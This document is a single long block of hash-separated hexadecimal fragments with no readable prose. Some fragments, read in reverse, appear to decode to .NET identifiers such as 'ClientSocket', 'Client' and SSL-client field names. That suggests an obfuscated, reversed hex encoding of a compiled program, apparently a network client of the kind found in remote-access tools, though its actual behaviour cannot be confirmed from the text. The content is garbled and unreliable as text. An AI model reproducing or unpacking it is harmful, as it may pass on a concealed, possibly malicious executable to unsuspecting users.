##36##E6##45##E4##56##23##A5##74##B2##54##27##17##44##44##86##35##36##73##F6##94##5
7##83##C4##E4##76##96##B6##64###3##43##A6##D4##75##47##33##23##93###5##47##87##A6##
54##55##47##43##65##B6##26##F6##83##63##57##74##75##A7##23##D6##33##F4##97##E4##73#
#97##76##27##56##16##B6##13##25##43##75##26##D6##C4##15##B4###7##43##35##25##85##33
###3##87##44##96##17##45###7##23##15##73##34##44##24##66##26##47##A5###7##36##D4##8
3##43##67##37##B6##C4###5##25##C6##65##35##E6##D4##13##35##A4##17##C4##A4##63##E6##
15##A6###7##77##B4##A5##26##24##57##46##97##85##93##85##73##B6##95##46##47###5##F6#
#56##26##76##55##44##25##47##55##A5##76##94##27##63##E4##86##73##95##85##A4##83##67
##47##97##23##24##73##17##94##37##77##A4##34##C6##F2##57##E4##85##14##24##73##C6##F
4##15##849528####E4##75##A5##64##35##53##66##53##A7##26##43##A4##F4##26##B6###7##65
##45##C6##13##E6##44##95##96##F4##57##97##24##44###3##77###5##77##43##26##65###7##B
6##66##66##F6##33##53##24##77##A7##54##F6##97##73##57##44##55##34##B2##23##95##87##
35##F6###7##36##A7##87##25##C4##57##14##77##55##67##34##55##25##53##97##43##35##B6#
#B6##A6##67##24##24##43##14##17##93##94##63##F2##44##23##37##A6##55##26##43##76##66
##27##46##37##57##43##64##23##55##46##44##75##16##23##44##95##74##34##57##95##67###
3##54##97##77##64##B6##44##54##63##64##43##75##23##94##95##A4##77##46##45##83##B2##
75##F6##54##16##83##33##54##D4##97##95##55##97##95##85##24##26##F4##84##57##F6##25#
#35##A5##67##53##36##94##14##65##94###3##64##D4##85##65##53##33##27##35##54##45##B2
##47##75##F6##36##37##47##33##86##57##14##E6##16##14##33##57##87##14##C6##43##A5##5
6##23##E6##73##D4##66##83##24##13##73##17##F4##F4##D6##26##96##73##46##23##24##67##
55##34##74##93##23##67##37##A5##96##27##A7##D4##55##96##77##87##F4##26##43###3##56#
#14##55##57##57##14##26##A6##23###5##E4##A4##36##A7##D4##97##54##53##33##36##86##73
##45###3##35##D6##B2##B4##17##35##27##73##F2##97##95##73##A7##17##56##33##83##97##4
3##93##55##B2##77##A7##E4##A4##86##26##46##44##33##37##15##15##64##73##74##47##D4##
84##26##56##76##15##A6##77##73##A6##E6##95##53##34##63##35##87##87##53##C4##83##73#
#C6##86##87##43##27##93##83##14##37##B4##27##13##27##35##B2##94##57##66##76##84###5
##87##47##53##96##23##B2##23##47##24##55##36##A7##96##25##43##15##65##33##63##73##1
5##F2##74##76##75##95##D4##A4##27##35##75##75##E6##74##83##36##97##86##B6##97##A7##
A7##55##C4##14##D6##57##35##55##26##33##26##13##C6##75##26##E4###5##A6##B2##84###7#
#95##16##E6##14##77##66##96##23##25###3##25##16##73##E4##D6##F6##76##15##34##14##E4
##13##63##D6##33###5##44##86##B2##B2##25##85##55##86##56##63##36##85###3##67##57##E
4##14##53##86##94##26##A5##67##E4##65##54##83##93##54##87##57##46##23##C4##27###5##
85##65##F6##63###3##65##B4##A4##84##67##16##24##14##B4##B4##77##25##85##35##86##26#
#F2##77##24##15##24##44###3##46##A4##74##74##55##74##86##73##95##55##54##46##F6##47
##47##24##C6##B4##26##24##67##55##A6##63##A5##E4##53##17##93##A6##35##65##C4##A4##A
4##13##17##B6##35##F2##57##76##26##43##85##B6##B4##16##35##27##46##B2##D4##A7##F2##
33##97##B2##35##E6##75##26###5##43###7##85##15##66##F2##77##46##15##17##96##27##75#
#E6##24##96##15###5##76##B4##66##47##24##B4##C6##27##93##94##85##55##83##C4##A7##87
##33##E6##94##53##56##87##14##97##57##B2##B4##D6##83##94##A4##F6##A7##63##35##36##1
4##37##24##47##B4##53##63##93##95##B2##B4##E4##44##43##B2##37##87##15##93##93##D6##
#5##73##25##C6##D6##37###7##95##85##67##27##46##36##16##13##27##87##B6##56##85##85#
##3##93##93##B2##E6##73##84##96##15##E4##A6##46##33##36##94##B6##E6##47##33##16##86
##87##74##55##14###5##73##34##F2##25##95##15##53##C4##14##84##34##16##A7##17##35##C
6##47##47##14##34##27##55##25##35##56##15##57##16##F4##46##57##A6##53##75##15##F4##
24##77##85##23##63##64##D4##35##77##24##75##36##D6##17##17##E4##56###3##57##75##57#
#A5##77##D4##26##33##E4##65##55##E6##87##64##B6##93##75##27##33##56##74##97##A6##A6
##16##36##17##36##37##B4##47##76##16##45##B4##94##57##35##36##A5##A4##36##77##87##8
3##33##36##83##77##73##96##A5##27##33##E4##95##76##84##13##44##A6##66##74##53##54##
A7##67##45##13##93##D6##E6##74##D6##57##36##53##F4###3##77###7###3##77##B6##87##13#
#74##E6##65##96##27##27##B4##15##25##D6##94##55##57##63##96##44##53##B4##35##A7##73
##A4##55##94##25##26##44##75##25##75##85##47##F4##66##65##87##27##94##86##85##84##1
3###3##46##96##26##65##47###3##B6##96##34##84##C4##74##25##43##94##75##97##76##25##
57##A6##36##93##46##14##A7##36##15##B2##36##C4##95##86##25##87##64##53##96##73##56#
#F4##93##64###3##D6##14##56##65##26##67##24##B4###5##76##57##15##57##A7##F2##33##86
##35##A5##B6##D4##33##55###5##55###7##B4##43##43##93##F2##35##24##F6##75##B6###7##E
4##14##94##E4##86###7##66##54##14##37##93##25##56##97##15##C6##44###5##93##A5##86##
B2##F2##36##E4##65##84##73##E6##33##A7##44##75###5##76##A5##56##A6##E4##14##47##24#
#23##B4##13##A5##56##47##C6##13##55##83##23##15##33###7##16##C6##17##54##E6##73##86
###3##A6##96##A7##46##63##E6##56##86##84##B6##46##46##F4##55##93##B2##45##55##43##5
7##86##95##63##57##47##C4##66##46##95##F2##67##27##26##24##53##66##33##45##17##37##
43##77##E4##34##57##34##75##17##A5##17##17##B6##87##E4##75##47##F2##56##97##77##D6#
#83##E6##54##47##13##C6##17##74##D6##95##23##14##751888####D3##D4##D4##34###7##46##
74##27##27##55##74##47##26##56##E6##33##57##93##93##47##83##76##27###3##15##B4##26#
#43##66##85##45##45##73##24##27##75##87##46##57##73##85###3##86##66##C4###7##43##C6
##37##A7##33##66##A7##85##36##54##37##55##37##53##F4##64##26##25##86##73##23##A7##5
3##F2##86##53##33##47##84##53##B6##96##A6##E4##13##46##A5##74##83##96###5##33##57##
57##D4##95##74##35##85##D4##73##74##57##B6##86##37##36##C6##43##36##46##459D#8####D
3###3##74##16##A7##76##64##E4##85##93##D6##A5##86##C6##C6##15##84##53##B6##95##67##
#7###3##25##87##25##E6##15##24##C6##64##16##A7##25##55##F4##87##54##65##E4##55##C6#
#84##7595##1#####52##16##47##16##44###7###7##14##5231####D3##D3##77##25##A7##84##54
##47##13##23##95##94##77##57##36##34##57##44##56##36##A7##87##27##F6###7##83##46##7
3##37##83##A6##B6##86##96##B2##63##34##17##85##94##97##67##87##C6##47##94##87##53##
25##95##97##A5##E4##35##26##A5##24##B4##A6##E6##33###7##44##13##66##A5##94##86##A5#
#17##C6##55##A4##B4##33##87##53##35##A4##55##84##44##64##83##45##57##55##851B#8####
D3##D3##14##94##94##53##66##64##65##B2###7##94##57##75##97##97##57##25###7##B6##96#
#87##67##D6##54##65##95##34##76##73##83##93##C6##F4##94##34##75##94##27##F6##55##93
##55###7##64##A5##77##F6##46##76##86##24##56##F2##94##26##75##C4##55##94##14##66##E
4##47##A4##97###7##F6##46##97##37##23##53##46##76##95##74##94##A7##B6##44##D4##77##
27##87##E6##37##F61B#8####D3##D3##77##B2##A6##C4##74##46##67##57##24##63##E4##84##3
7##34##54##E4##37##B6##F4##E4##77##A5##B4##45##74##66##26##34##65##23##45##83##74##
47##87##C6##A7##84##35##64##84##86##A4###3###3##26##23##A4##F2##66##65##65##76##16#
#33##B2##36##17##17##37##37##46##66##46##14##85##86##97##93##B6##77##46##56##F6##76
##14##F4##95##96##46##35##63##44##26##26##441B#8####D3##D3##15##86##76##A4##B4###5#
#24##E4##77##A7##36##86##47##35##C4##85##64##25##E6##47##34##67##B2##23##35##54##24
##87##77##55##43##95##F2##F4##57##E6##35##77##F2##53##85##67##94##65##A5##E6###5##2
4##64##47##96##74##E4##E6##17##33##26##86##26##57##A4##24##C4##94##16##B4##54##25##
54##46##33##53##17##95##F6##A7##74##D6#
#B6##76##A4##76##14##84##A4###71B#8####63##53##23##14##84##35D###########9747#7D654
27F4C6C657E43794##97479647E65646943777F646E69675##9747962757365635E24756E4E2D656473
79735##974796C616571756E694F5#7F6##974796C616571754F5#7F6##9727473796765625475635##
9727F6473656279644D65647379735F5475676##9727F67656471636##9727F67656471634563696675
6444757#7E694F656469665F5449435C434##9727565715473656C65635##9727565715473656A626F4
##972716E69624F645##972716E696245647962775##97#7F634B636F6C624##97C696D616643737562
7464614##97C626D656373714##9786#7162776F647#7972734E29747962757365635E2D65647379735
##9756B6F5##9756B49727473796765625##9756B42756473716D6##9756B486475716F5##9756B4369
6C62657#5F5475676##9756B4265735E656#7F4##9756B4265735564756C65644##9756B42657355647
16562734##9756B4F5475637##9756B4F5475676##97162727143714665627##97162727143714F5475
676##9716272714F645##9716272714B63616#57637D4##971627271456A796C616964796E694##9716
2727145647279675##9716C6F55644##87473446E6962494##87564757D4564716562734##87564757D
45637F6C634##875646E696##875436F6C6C614C6165747279665##77F646E69675F6E4564716562734
F5475637##77F646E6967546E657F627765627F664475674##67##47875647##4787564577F646E6967
5475674##47875645E2D65647379735##478756E45667F6D4E227F647162756D657E65494E237E6F696
473656C6C6F634E2D65647379735##478756E4233337375636F627#5##4757#7E696##4737279664233
337375636F627#5##473796C4F645##47371664C6961664##4727F62614##47275667E6F634##472716
47354616562786454656A79627564756D6162716#5##47#7972736E654##47#79727365644##47F6F62
5864716#5475674##47F68637#716E63586##47F68637#716E6352333#7C65686C6F6F6455647165627
34##47E657F6D616##47E657F636##47E657F63427F637375636F627#5F5475676##47E657F634F5475
676##47E696F6#546E6545647F6D65625F5475676##47E65627275734475674##47E65627275734F547
5676E227F647162756D657E65494E237E6F696473656C6C6F634E2D65647379735##47E65627275734E
227F647162756D657E65494E237E6F696473656C6C6F634E2D65647379735##47E6562716#7##47E656
D6E6F6279667E654##47E656D6567616E616D4E2D65647379735##47E65696C6343714564716369647E
65686475714##47E65696C634#73645F5475637##47E65696C634#73645F5475676##47E65696C634C6
3735F5475637##47E65696C634C63735F5475676##47E65696C63456A796C616964796E694##47E6569
6C634265675##47E65696C63453335333533363633353335333333333133313##47C657375627##47C6
5737562536E697371494##47C65716665644F5475676##47C61635##47968754E6F447E65696C634##4
796C6#735##47963696C6#78754F5#7F6##47962443633796##4756376666F4F5475637##4756376666
F4F5475676##4756375625E227F647162756D657E65494E237E6F696473656C6C6F634E2D6564737973
5##4756B636F63547E65696C634##4756B63616#5566796C614#75656B4##475676271647##47567627
1645##475635##4756E4E2D65647379735##475674##47365647F627#57756E4C666##47365647F627#
5C61657472796655647167656C65644##47365647F627#546C6F4C666#7C6##473656E6E6F6365625##
473656E6E6F634##473656C6C6F634##473656A626F6##473656A626F447E656D6567616E616D4##473
656A626F4D6F63456371656C65625##473656A626F4864716#5563627F664##473656A626F456371624
47E656D6567616E616D4##473656A626F446E69664##4716F6C6643714475635##4716F6C6643714475
674##4716F6C6643714F5475637##4716F6C6643714F5475676##4716F6C6645647962775##4716D627
F666##4716D627F664567616D694##471636E6F634##37572796679647E614##374737968754##3747E
6566754D65647379735##3747E656D657762714F5475637##374756B636F635E24756E4E2D656473797
35##3747F537F684##3747F527F6#5##37375627#7D6F6365644##37375627#7D6F634##37375627464
614#7C6##3737562746461436F627#5475674##37375627464614#594##37375636F627#547E6562727
5734475674##37375636F627#5E656#7F4##37375636F627#5C6C696B4##37375636F627#59647E614#
#37375636F627#586##37375636F627#5564716E696D6275645##37375636F627#5F59647E614##3737
5636361456C69664##373756363614465627963756447746##373716#79724##3727F6272754973696C
6F6#5C63737##3727F6272754973696C6F6#5C63735##372756#7C6568456D69647E65725##372756B6
96E6F6D4D657E654##37275646F6365644567616D694475674##3727168634473716C45667F6D65625#
#37E6F69647#7F44796C6#73576E696274735##37E6F696473656C6C6F634E2D65647379735##37E644
##37D627F664E23777F646E69675E2D65647379735##37C6F6F6453756479724##37C6F6F6455647962
775##37C6F6F64546165625##37C6F636F647F627#5C63735##37C616571754##37C6169647E6564656
2734F5475637##37C6169647E6564656273494##37B63616#5##37963797C616E6149647E614E65725#
#37963797C616E614F59647E614##3776271447E656675476E69646E654E6F69637375635##3776E696
4747563556A796C616964796E694##377616C6647746##377616C6643756##377616C664275646E6962
4#72716863534##377616C664F666E69447E656D657762714#72716863534##3756479726##37564797
24771627##3756479724475674##37564797243714475635##37564797243714475674##37564797243
71456C696644616F6C4##3756479724#7167735##3756479724D6F627645646F6365644##3756479724
C6C61446165625##375647972456679627564483938323366625##375647972483664757##375647972
483664755475674##3756479724235646F636E654##375647C69664475674##37564716369666964727
563493#35385E29786#7162776F647#7972734E29747962757365635E2D65647379735##37563737562
74646144737F684475674##375637375636F627#5475674##3756#79745D6F634E23756369667275635
#7F6275647E694E256D69647E65725E2D65647379735##3756C626169627166547E656D6E6F6279667E
65446E616#78754##375686364716D4##375646F6D476E696767657265644##37563696672756352756
C696#7D6F634E256D69647E65725E2D65647379735##3756369667275635#7F6275647E694E256D6964
7E65725E2D65647379735##3756369667564446E69664##37563696675644E23696371624C616573796
65E24766F637F6273696D4##3746F6864756D45667964716E4##3746165627864547E636##373696473
7F6E676169644E2D65647379735##2747#547E69455##27F647#7972736E654564716562734##27F647
#79727365644564716562734##27F64796E6F6D4##27F6473636E2##27F64736E2##27F647166796473
614##27F647162756D657E654475674E256C626162756D657E65494E237E6F696473656C6C6F634E2D6
5647379735##27F647162756D657E654473656A626F447E656D6567616E616D4##27F647162756D657E
654373716C634564716562734##27F647162756D657E65494##27F6272754##275677F6C4F645##2756
47275667E6F634479624##275647E696F6#5E6F6964736E6576427F6645647167656C65644475674##2
75647E654##27564796277547875645##275647962775D61656274735##2756375547E65627275734##
2756#7#755F645##2756#7D65647F5D69677F59726F5D4653796##2756#7C65684E247E65696C634##2
756E677F6##2756D69645##2756C646E6168447E656675476E69646E654E6F69637375635##2756B696
E6F6D6##2756B696E6F6D4D657E654#7#7##2756B696E6F6D4D657E65494##2756B696E6F6D494##275
6863627165635473656A626F447E656D6567616E616D4##2756765647E6943714475635##2756765647
E6943714475674##2756765647E6943714F5475637##2756765647E6943714F5475676##2756765647E
6945647962775##275666665724F5475637##275666665724F5475676##275646F636E654475674##27
5646E6962456479635C6C61634##275646E6962456D69647E65725E2#72716863534E24766F637F6273
696D4##275646E65637##275646E656354694##275646C6F664F5C6C6164737E694##275646C6965724
76E696274735##2756469667F627#556369667275635F647#7972734375614##2756469667F627#5563
69667275635F647#7972734143525##2756469667F627#556369667275635F647#79727345344D4##27
5626D656D456B6F667E694##27168634##271656C634##271665##17E696C4E2D65647379735###7574
727164735C616D627F6E4###757F62774###72716863534E24766F637F6273696D4###7#71447E65627
275736###7F627#7###796A5###75656C63547E656675627#5###716D45647962775##F62756A5##F66
6E694472716473537375636F627#5##F666E69447E656D657762714#72716863534##F666E694275647
57#7D6F634##F666E694D6564737973556C69664##F666E6945667962744##F666E69456C69664##F66
6E69446E65635##F666E694365646F634567616D694##E677F6E6B6E655##E6F637962716#7D6F63476
E696274735##E6F69647#75636875447E656D657762714##E6F69647#7563687542756E6E694F547567
6##E6F69647#756368754C6C657E447E656D657762714##E6F69647#756368754369686#7162776F647
#7972734##E6F696479637F6#7##E6F696479637F6#5F5475637##E6F696473656E6E6F634E247E6569
6C634##E6F696473656C6C6F634473656A626F447E656D6567616E616D4##E6F696473656C6C6F63456
4716369666964727563493#35385##E6F696473656C6665625E2D65647379735##E6F6964716369647E
65686475714E29747962757365635E2D65647379735##E6F69647163696C6#7#714##E6F69637375627
#7D6F634E2F494E2D65647379735##E6F6963727566535F4F5475676##E6F69637E6564787544757F68
647967556D616E456C69664475674##E6F69637F5275665##E696D646143794##E69626F556473716#5
##E69616D6F64447E65627275734F5475676##E69616D6F644#7#714##E696168636##E69616863493#
35385##E69616D4##E6562746C6968636##E656C6##E6567446967784##E61656C6F6F6243714475635
##E61656C6F6F624F645##E61656C6F6F6245647962775##D657E65467564456471656273494##D657E
654B63616#57637D4##D657E654563696675644D65647379735F5449435C434##D627F66637E6162745
F647#797273494##D6F646E61625##D6962745##D686479627F676C61486371684##D686479627F676C
6143696274756D6D6973714##D686479627F676C6143696274756D6D69735##D686479627F676C614E2
47E65696C634##D6564737973576E69647162756#7F447962443633794F5475676##D6564794F547567
6##D6162776F627#5##D616562747359727F6D656D4##D61656274735#796A574##D61656274735F647
#7972734##D61656274735D6F627645646F6365644##D61656274735C63735##D61656274735B627F67
74756E4##D6165627473556C69664##D61656274735235646F636E654##C6F62747E6F63487564757D4
##C6C657E43714475635##C6C657E45647962775##C6C6F6#5##C6C696B4##C6C646E2C6C64647E6##C
6C646E2233327563757##C6C646E22333C656E62756B6##C6C6164737E694E247E65696C634##C6C616
4737F5E694##C61667275647E694F5475637##C61667275647E694F5475676##C616571754562714##C
616#79636E69627#53777F646E69675##C616#79636E69627#5E29747962757365635E2D65647379735
##C6169647E65646562734B627F6774756E4##C61686372716D4##C61636964796273437375636F627#
5##C616369647962734379437375636F627#5475635C64725##C61665274737##C6166596##C6166566
##C6166526##B636F6C6244727164735##B636F6C624#7F64735##B636F6C624C616E69664863757C66
4##B636568634E6F696373796D62756#59756B49727473796765625##B63616#77637D6F5B63616#7E6
57##B6361626C6C61636##B6361626C6C616342756D69645##B6361626C6C61634E6F69647164696C61
66556471636966696472756345647F6D65625##B6361626C6C6163436E6973714##B63616#57637D4##
B63616#5567616373756D4E22696C4B63616#5567616373756D4##A626F6##A626F4473796C6##A626F
4B63616#77637D6##9647F5E614##9637D614##962755##96#714564716562734##96#7144616F6C4##
864796753746E654##864776E656C49756B486475714##864776E656C46794##864776E656C4F547567
6##864776E656C46353231686353616D684##864716#7##864716#5#7D65645475674##864716#556C6
2616475736568754F5475676##863757C664##86371684976696275665##86371684564757#7D6F634#
#86364716#7##7637D6##76F6C616964427F627
2754F5475637##76F6C427F6272754##76E69677162744E2D65647379735##76E69647475635271656C
634##76E696274737265735##76E69627473587568437143756479724##76E696274735475674##76E6
962747353714475635##76E6962747353714475674##76E69627473537143756479724##76E69627473
53714F5475637##76E6962747353714F5475676##76E696274735F645##76E6962747355647962775##
76E6962747354616F6C6E677F644##76E69627473546165625##76E696274735436356371624F645##7
6E696274735436356371624D6F62764##76E696E6F69637275665E256D69647E65725E2D65647379735
##76E6967616D694E276E69677162744E2D65647379735##76E69646F636E65483644555##76E69646E
654E6F69637375635F53747E6566754D65647379735##76E69646E654E6F69637375635F5464616##76
E696464616#5F5475637##76E696461656278645E2D65647379735##76E696#5F5475637##76E696#5F
5475676##76E6F5F6#55647166796473614F5475637##76E6F5F6#55647166796473614F5475676##76
9666E6F634F647#7972734##7616C664274737##76162497472756#7F627#594F5449494##66F487564
6E694##66F456A79635##56A796359756B4F5475637##56A796357746##56A796352756666657245667
9656365625F5475637##56A7963527566666572446E65635F5475637##56A79635275646165684F5475
637##56A79635275646165684F5475676##56A79635C61647F645F5475676##56A79635B636F6C624F5
475637##56A796352636##56A79635F5475676##568756E247E65696C63453335333533363633353335
333333333133313##5667F6D65625##566796C614#75656B4F5475637##566796C614#75656B4F54756
76##5657C61667##5657C61665475635##5657C61665475674##5657C616652756E6E696##5657C6166
5564756C65644##564797245647962775##5647972446165625##56475736568754C6C6568635563755
F5475637##564757269627474714974796C69626964716#7D6F63456D69647E65725##5647572696274
7471497E616#7D6F63497C626D656373714##564757269627474714478676962797#7F63497C626D656
373714##56475726962747471447365746F627#597C626D656373714##56475726962747471437E6F69
647168716C65625E6F6964716C696#7D6F634##564757269627474714275626D656D447C65716665644
##564757269627474714E6F69647#796273637564497C626D656373714##564757269627474714E6F69
647162757769666E6F63497C626D656373714##564757269627474714E6F6963727566556C6966497C6
26D656373714##564757269627474714B627F67756D6162764475676271645##564757269627474714B
62716D6564616274597C626D656373714##56475726962747471456#7974556361666275647E694##56
475726962747471456C647964597C626D656373714##56475726962747471456C62696379665D6F634#
#56475726962747471456C62616767657265644##56475726962747471446965774##56475726962747
4714465647162756E656742756C696#7D6F634##5647962775##56479635C6C61634##564756C65644#
#5647164735E6F696475736568754461656278645475635##5647167656C65644473716369647C657D4
##564716562734##5647163696669647275636##5647163696669647275634275667275635564716469
6C61665##5647163696669647275634F5275667275635##564716369666964727563493#35385##5647
1636F596669647275634##56372716#5##5637F6#7379644##5637F6C634##56371624373716C634962
7#536#7##56275747F516E6769637F5275667275635##5627F634E2D65647379735##562716863556C6
9664##56#797454756B636F635##56#79745475674##56#79745#7##56#79745C6F636F647F627#5##5
6#79745B63616#57637D4##56#797455657C61667##56#797455657C61665F5475676##56#7974556D6
16E44737F684962755##56#7974556361666275647E694D6F634##56#7#7C6##56E69626D6F634##56E
696C45647962775##56D696457746##56D69645C6163727566796E655F645##56D69645564796277547
3716C4F5475676##56D6964556471644##56D616E6##56D616E44737F684B636568634##56D616E4475
635##56D616E4275677F6C6##56D616E427563755F5475676##56D616E4#7F627#5##56D616E4E69616
D6F6444696C616653794##56D616E4C6C65764F5475676##56D616E4C6C6576435F4F5475676##56D61
6E456E696863616D4F5475676##56D616E456C69666##56D616E456C69664475674##56D616E456C696
64#7D65645475674##56D616E456C69664F5475637##56D616E456C69664F5475676##56D616E4F5475
676##56C697473577F646E6967537375636F627#5##56C697473577F646E69675F5475637##56C65746
F6D437375636F627#5##56C65746F6D4E69616D4F5475676##56C647964577F646E6967556679647361
4475674##56C6F637E6F634##56C6F625E69447C69657243777F646E69675##56C6F625E6943794##56
C69664F645375647972456671635##56C69664D6F627645646F6365644##56C69664568754A737##56C
69664F5C6C6164737E694##56C676E696353714475635##56C676E69635F645##56C676E69635564796
2775##56C646E61686##56C646E616844796275686E69426##56C646E6168447961675##56C646E6168
437375636F627#57746##56C646E61684D6F6276456#79745475674##56C646E616845637F6C634##56
C646E6168456#7974556D69647E65725##56C646E6168446C656966456D69647E65725##56C62657F64
4#7167735##56C62657F644F645##56C6261637F6#737964494##56C626162756D657E65494##56B6F6
67E694E696765624##56B6F667E69446E654##567616373756D4F5475676##567616375547E636##567
61627F64735F64546E69624##565627459756B4265735564756C65644##5646F636E65483664757##56
46F6D4473656C65635##5646F6D4275686#79634##5646F6D4E6F69637375627#7D6F634##5646F6D4D
61656274735F647#7972734##5646F6D47657265644275647E654##5646F6D476E696464616#5##5646
F6D456C69664##5646F6D4F5475637##5646F63447968756##56362757F637##5636E6164737E694564
716562734##563616C6#75625##46F6864756D6##46E696B45657C616659727473796765625##46E656
#7#714##46E65635##46E67586##46C696863497162727144646142756E6E694##46C6968634#716D44
646142756E6E694##46C656966476E696B6361624F5F5B6E347E65696C634#73645C3##46C656966476
E696B6361624F5F5B6E347E65696C634C63735C3##46C656966476E696B6361624F5F5B6E3475637666
6F4C3##46C656966476E696B6361624F5F5B6E3275666665724C3##46C656966476E696B6361624F5F5
B6E3C61667275647E694C3##46C656966476E696B6361624F5F5B6E376E696#5C3##46C656966476E69
6B6361624F5F5B6E376E6F5F6#55647166796473614C3##46C656966476E696B6361624F5F5B6E356A7
9635275646165684C3##46C656966476E696B6361624F5F5B6E3566796C614#75656B4C3##46C656966
476E696B6361624F5F5B6E34656473656E6E6F6343794C3##46C656966476E696B6361624F5F5B6E346
56C62616E654C3##46C656966476E696B6361624F5F5B6E336E6973546E65635C3##46965774F547567
6##4696F57784##4656679656365625##4656473656E6E6F6343794F5475637##4656473656E6E6F634
3794F5475676##4656473656E6E6F634F5475676##4656C62616E654F5475637##4656C62616E654F54
75676##46567616E616D4635323148435##4646142756E6E694##4616F6C4##461656278645B636F6C6
24##46165625E696765624##4616562546E654##469437375636F627#7##469437375636F627#57746#
#36E6973546E65635F5475676##36E65766##3696371624C61657379665E24766F637F6273696D4##36
962756E65674E237E6F696473656C6C6F634E2D65647379735##2696C627F63637D6##16471646##164
716444727566727563546165625##162756D6163656671686##162756D61634##F5F55657C61667##85
45D4##65945647162756E65674##6594F5475637##6594F5475676##3555F455E49445E4F434F53554#
#F494E2D65647379735##F464E4944555#5E494453514C4##9494343514F5475676##64831453#36364
1354#3434434#373#3445483838393448314#3536454#31333533473631424447363332333536323648
3533324737314546323139333637383##5445144535F5E4F494455534548554##44F4F53524##449447
16D627F664F5475676##449437375636F627#547E6562716#523338647##449437375636F627#523338
647##4494#716568447C6571666564423338647##449456C65746F6D423338647##44947584##449435
C434D6F6276456#79745475674##4494F4F64556D616E4#716D4##4454259455155425F59514C4#5359
444F53554##4454259455155425F5D45445359535F53554##3474##14972716272696C44616F6C4##14
86364716#5##E337C69616475644E6F696471647E656D656C6#7D694564716679627#5C3##E356C6574
6F6D4C3##83644555F5475676##63D356A7963556#797454796E6949716272714369647164735F5F5##
635323375616##635323375614##6353231484353414D484##631347E694#7167735##631347E694F64
5##631347E69455F645##436347E694#7167735##436347E694F645##436347E694553714475635##43
6347E694553714475674##436347E69455F645##436347E694555647962775##3367##33#636E65764#
#3353F5F5F6E3C3##2367##23564716369666964727563493#35385##2316##233347E694#7167735##
233347E694F645##233347E69455F645##2333E69675E24766F637F6273696D4##2333C656E62756B6#
#2333952545E45435355434F425#5##1367##1316##13#6473796C4##13#656479635C6C61634##13#6
56C626162756D657E65494###3F5F5#7E3C3###3F5F526E3375647C69664475674C3###3F553373716C
6349716C6#7379644F5F536E3C3###313#6E6F696473614######7#AB##C56#8B##1BF#27##D5######
####32##42##51##71##51##61##D####1##D###F###D###E###7###8###4###5#########A1DA##1##
#####################4#########3#F22##6######################A#########E1C82##6####
##################4#########414F2##6#######7##############4#########E#BB2##6#######
###############4#########9#E5##1########7##############4#########114F##1###########
############4#########3#B###1#######################4#####E1A###################7##
#####1######84###B5#####2#5##4##137##5C1##4##3##281##3C1#####3##2D2##1C1#####2#A#E#
##5B1##4##2#B187##781#####2#6##C##581#####2#B1AA##381#####2#F16D##181#####2#F11C##F
71#####2#F1B4##D71#####1#B12D##B51#34##1#1##9##951##48#678#567#DA7#257#A26#7C6#A96#
791133118211B1##C6##9#1#46##E1##7#1#2###C1##5#1#####C1##3###EF##C1##92##1B##2###72#
##B##2###52##FA##1###52##EA##2###32##DA##1###32##CA##2###12##BA##1###12##AA##2###F1
##88##2###D1##78##2###B1##F7##2###91##83##1###91##73##2###71##A1##1###71##91##2###5
1##81##1###51##71##2###31##61##1###31##51##2###11##41##2###F###31##1###F###21##2###
D###11##1###D####1##2###B###F###1###B###E###2###9###D###1###9###C###2###7###B###1##
#7###A###2###5###9###1###5###8###2###3###7###1###3###6###2#3#CC9#E#####3#7C#2FC####
3#3CC179####3#FB6114####3#BBE##8####3##5F#A5####3#A411BD####3#51E11B######AC3#7B###
###ACD#25######2D#1AF######5CD#D6######EC3#E4######AC3#1E######5CC#25######1CD17B##
####1CC##C######CB611#######7BE115######2BE1D6#######1##E1##E###D1##D###C1##C###A##
#1###4#B#E4B#53B#82B#F1B#91B#41B#E#B#4#A#BCA#5CA#FBA#9AA#39A#58A##4A#33A#42A#F1A#21
A#3#9#EF9#6D9#A99#689#E79#E69#A49#449#829##18#9E8#4C8#FB8##88#178#548#E27#FB7#987#E
76#AD6#886#466#E35#3A5#975#965##6##42######6###1#1#23##9E##2#2#93##382#C9##272#C9##
#72#####A5##9F##53##9F##132#79##397###2#79##396##E2#79##394#362#79##394#162#79##393
#1C5#65##BA3#3A2#79##393#1A2#79##393#182#79##393#162#79##393#142#79##393##42#79##39
3#122#79##393##22#79##393#1#2#79##393###2#79##392#1E2#79##392##E2#79##392#1C2#79##3
92##C2#79##392#1A2#79##392##A2#79##392#182#79##392##82#79##392##62#79##392##42#79##
392##22#79##392#3#2#79##392###5#32##3A1#3E5#C2##B91#3E4#CE##B81#3E2#79##391##E5#32#
#3A1#3C4#2F##B91#3C4#CE##B81#3C2#79##391##C2#79##391##A2#79##391##82#79##391##62#79
##391##42#79##391##22#79##391###2#79##39###E2#79##39###C2#79##39##3A4#19##B8##E24#4
A##38##E24#79##B7##E24#19##37##E24#19##B6##E24#19##36##E24#19##B5##E24#19##35##E24#
19##B4##E24#19##34##E24#88##B3##E24#26#
#33##E24#95##B2##E23#EF1#86##8#3#9F1#46##8#3#4F1##6##8#3#FE1#C5##8#3#AE1#85##8#3#5E
1#45##8#3##E1##5##8#3#BD1#C4##8#3#6D1#84##8#2#B51#44##8#2#791##4##8#3#1D1#C3##8#2#B
51#52##8#2#2B##8F##8#2#CB##4F##8#2#7B###F##8#2#2B##CE##8#2#79##8D##9#2#B5##4D##9#2#
29###D##9#B#54716B5#15B#F291CB2#99A#DF##6F2#99A#6F1#112#99A#FE##5D2#99A#8E##582#99A
#1E6#782#99A#AD7#B12#99A#3D1#8#2#992#1C716B1#9E3#64B#EF##9FA#5B#2B95#14A#B9716B3#9B
3#5712884#94A#D891CB2#99A##89#995#12A#B76#781#99A#47##6F1#99A#F6##6F1#99A#A6##6F1#9
9A#569#994#93A##6##6F1#99A#95##5D1#99A#45##5D1#99A#F4##5D1#99A#A49#995#913#9921142#
12A#54##5D1#992#7F91CB2#99A#B3C#7###9F3#49A1972#12##E#5192##413#64F112##41A#91117D#
#41##E#716B##1E2#DF91CB2#992#BE91CB2#99A#C#C1852#129#1F12275#9#3#57F#F3##9F9#BB71BC
4#9D3#D72#6C4#9D2#1C716B5#1#9#DCE#DE1#1D3#38#28B2#9A3#D7716B4#9C##E##1834#1C3#382#F
B4#9D9#1C716B4#1C9#BB71BD4#9D##E#2#DC4#9D3#D7#2FD4#9D9#4BD#384#9D9#DA5#6B4#9D4#45C#
194#9D4#45C#BF4#9D##E#716B4#9B##E#716B2#9A2#1C716B4#1D2#EDE#B#1#999#4991CB4#1B9#C87
